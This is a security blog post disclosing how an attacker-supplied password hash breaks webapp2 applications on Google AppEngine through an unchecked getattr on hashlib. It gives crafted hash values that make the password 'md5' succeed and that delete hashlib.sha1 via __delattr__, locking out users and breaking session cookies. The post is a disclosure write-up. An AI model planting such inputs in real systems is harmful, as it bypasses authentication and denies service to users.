Monday, December 16, 2013

Breaking Google AppEngine webapp2 applications with a single hash

What's this, you think?

07667c4d55d8d81a0f0ac47b2edba75cb948d3a2$sha1$1FsWaTxdaa5i

It's easy to tell that this is a salted password hash, using sha1 as the hashing algorithm. What do you do with it? You crack it, obviously!

No wonder that when talking about password hashes security, we usually only consider salt length, using salt & pepper or speed of the algorithm. We speculate their resistance to offline bruteforcing. In other words, we're trying to answer the question "how f^*$d are we when the attacker gets to read our hashes". Granted, these issues are extremely important, but there are others.

A weird assumption

Today, we'll speculate what can be done when the attacker gets to supply you with a password hash like above.

Who would ever allow the user to submit a password hash, you ask? Well, for example Wordpress did and had a DoS because of that. It's just bound to happen from time to time (and it's not the point of this blog post anyway), Let's just assume this is the case - for example, someone wrote a malicious hash in your DB.

Introducing the culprit

We need to have some code to work on. Let's jump on the cloud bandwagon and take a look at Google AppEngine. For Python applications, Google suggests webapp2. Fine with me, let's do it!

When authenticating users in webapp2, you can just make them use Google Accounts and rely on OAuth, but you can also manage your users accounts & passwords on your own. Of course, passwords are then salted and hashed - you can see the example hash at the beginning of this post. For hashing, webapp2 security module uses a standard Python module, hashlib.

Authenticating in webapp2

When does webapp2 application process a hash? Usually, when authenticating. For example, if user ba_baracus submits a password ipitythefool, application:
  1. Finds the record for user ba_baracus
  2. Extracts his password hash: 07667c4d55d8d81a0f0ac47b2edba75cb948d3a2$sha1$1FsWaTxdaa5i
  3. Parses it, extracting the random salt (1FsWaTxdaa5i) and algorithm (sha1)
  4. Calculates sha1 hash of ipitythefool, combined with the salt (e.g. uses hmac with salt as a key)
  5. Compares the result with 07667c4d55d8d81a0f0ac47b2edba75cb948d3a2. Sorry, Mr T, password incorrect this time!

1 and 2 happen in User.get_by_auth_password() 3 to 5 in in webapp2_extras.security.check_password_hash():
def check_password_hash(password, pwhash, pepper=None):
    """Checks a password against a given salted and hashed password value.

    In order to support unsalted legacy passwords this method supports
    plain text passwords, md5 and sha1 hashes (both salted and unsalted).

    :param password:
        The plaintext password to compare against the hash.
    :param pwhash:
        A hashed string like returned by :func:`generate_password_hash`.
    :param pepper:
        A secret constant stored in the application code.
    :returns:
        `True` if the password matched, `False` otherwise.

    This function was ported and adapted from `Werkzeug`_.
    """
    if pwhash.count('$') < 2:
        return False

    hashval, method, salt = pwhash.split('$', 2)
    return hash_password(password, method, salt, pepper) == hashval


def hash_password(password, method, salt=None, pepper=None):
    """Hashes a password.

    Supports plaintext without salt, unsalted and salted passwords. In case
    salted passwords are used hmac is used.

    :param password:
        The password to be hashed.
    :param method:
        A method from ``hashlib``, e.g., `sha1` or `md5`, or `plain`.
    :param salt:
        A random salt string.
    :param pepper:
        A secret constant stored in the application code.
    :returns:
        A hashed password.

    This function was ported and adapted from `Werkzeug`_.
    """
    password = webapp2._to_utf8(password)
    if method == 'plain':
        return password

    method = getattr(hashlib, method, None)
    if not method:
        return None

    if salt:
        h = hmac.new(webapp2._to_utf8(salt), password, method)
    else:
        h = method(password)

    if pepper:
        h = hmac.new(webapp2._to_utf8(pepper), h.hexdigest(), method)

    return h.hexdigest()
So, during authentication, we control pwhash (it's our planted hash), and password. What harm can we do? First, a little hashlib 101:

Back to school

How does one use hashlib? First, you create an object with a specified algorithm:
new(name, string='') - returns a new hash object implementing the
                       given hash function; initializing the hash
                       using the given string data.

Named constructor functions are also available, these are much faster
than using new():

md5(), sha1(), sha224(), sha256(), sha384(), and sha512()
Then you just fill it with string to hash, using update() method (you can also pass the string directly to the constructor), and later on use e.g. hexdigest() to extract the hash. Very simple:
>>> import hashlib
>>> hashlib.md5('a string').hexdigest()
'3a315533c0f34762e0c45e3d4e9d525c'
>>> hashlib.new('md5','a string').hexdigest()
'3a315533c0f34762e0c45e3d4e9d525c'

Webapp2 uses getattr(hashlib, method)(password).hexdigest(), and we control both method and password.

Granted, the construct does its job. Installed algorithms work, NoneType error is thrown for non supported algorithms, and the hash is correct:
>>> getattr(hashlib, 'md5', None)('hash_me').hexdigest()
'77963b7a931377ad4ab5ad6a9cd718aa'
>>> getattr(hashlib, 'sha1', None)('hash_me').hexdigest()
'9c969ddf454079e3d439973bbab63ea6233e4087'
>>> getattr(hashlib, 'nonexisting', None)('hash_me').hexdigest()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object is not callable

It's a kind of magic!

There is a slight problem with this approach though - magic methods. Even a simple __dir__ gives us a hint that there's quite a few additional, magic methods:
>>> dir(hashlib)
['__all__', '__builtins__', '__doc__', '__file__', '__get_builtin_constructor', '__name__', '__package__', '_hashlib', 'algorithms', 'md5', 'new', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512']
which means, for example, that if arbitrary strings can be passed as 2nd attribute to getattr(), there's much more than NoneType error that can happen:
>>> getattr(hashlib, '__name__')()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'str' object is not callable
>>> getattr(hashlib, '__class__')
<type 'module'>
>>> getattr(hashlib, '__class__')('hash_me')
<module 'hash_me' (built-in)>
>>> getattr(hashlib, 'new')('md5').hexdigest()
'd41d8cd98f00b204e9800998ecf8427e' # this is actually md5 of ''
That last bit is kewl - you can plant a hash format: md5_of_empty_string$new$ and the correct password is... md5!

Final act

__class__ may have a class, but __delattr__ is the real gangster!
>>> import hashlib
>>> hashlib.sha1
<built-in function="" openssl_sha1="">
>>> getattr(hashlib, '__delattr__')('sha1').hexdigest()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'NoneType' object has no attribute 'hexdigest'
>>> hashlib.sha1
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'sha1'

Ladies and gentlemen, we just broke a Google AppEngine webapp2 application with a single hash! We just deleted the whole hashlib.sha1 function, and all subsequent hash comparison will be invalid! In other words, no user in this application instance with sha1 hash will be able to authenticate. Plus, we broke session cookies as well, as session cookies use hashlib.sha1 for signature (but that's another story). As this is not a PHP serve-one-request-and-die model, but a full-blown web application, this corrupted hashlib will live until application has shut down and gets restarted (methinks, at least that's the behavior I observed). After that, you can still retrigger that vuln by authenticating again!

Demo

Disclaimer: This is tracked with issue #87Only applications that allow the user to write a hash somehow are vulnerable (and this setup is probably exotic). But getattr(hashlib, something-from-user) construct is very popular, so feel free to find a similar vulnerability elsewhere:


No comments:

Post a Comment